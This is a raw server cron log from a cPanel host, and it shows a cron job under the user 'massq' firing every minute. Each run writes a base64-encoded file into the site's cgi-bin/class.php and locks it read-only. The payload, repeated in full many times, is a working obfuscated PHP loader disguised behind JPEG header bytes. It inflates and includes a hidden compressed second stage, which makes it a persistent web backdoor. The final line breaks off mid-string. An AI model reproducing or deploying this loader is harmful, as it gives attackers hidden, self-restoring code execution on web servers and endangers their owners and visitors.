Sep  9 05:50:01 server CROND[11834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:50:01 server CROND[11840]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:50:01 server CROND[11839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:50:01 server CROND[11837]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 05:51:01 server CROND[12814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:51:01 server CROND[12815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:51:01 server CROND[12816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:52:01 server CROND[13209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:52:01 server CROND[13211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:52:01 server CROND[13210]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  9 05:52:01 server CROND[13220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:53:01 server CROND[13688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:53:01 server CROND[13689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:53:01 server CROND[13690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:54:01 server CROND[14069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:54:01 server CROND[14070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:54:01 server CROND[14071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:55:01 server CROND[14453]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 05:55:01 server CROND[14454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:55:01 server CROND[14465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:55:01 server CROND[14466]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:55:01 server CROND[14468]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 05:55:01 server CROND[14467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:55:01 server CROND[14470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:56:01 server CROND[15280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:56:01 server CROND[15281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:56:01 server CROND[15282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:57:01 server CROND[15746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:57:01 server CROND[15747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:57:01 server CROND[15749]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 05:57:01 server CROND[15748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:58:01 server CROND[16116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:58:01 server CROND[16117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:58:01 server CROND[16118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:59:01 server CROND[16488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:59:01 server CROND[16489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:59:01 server CROND[16490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:00:01 server CROND[16891]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 06:00:01 server CROND[16894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:00:01 server CROND[16895]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 06:00:01 server CROND[16896]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:00:01 server CROND[16899]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  9 06:00:01 server CROND[16900]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 06:00:01 server CROND[16901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:00:01 server CROND[16906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:00:01 server CROND[16902]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 06:00:01 server CROND[16903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:00:01 server CROND[16908]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 06:01:01 server CROND[17771]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 06:01:01 server CROND[17772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:01:01 server CROND[17773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9y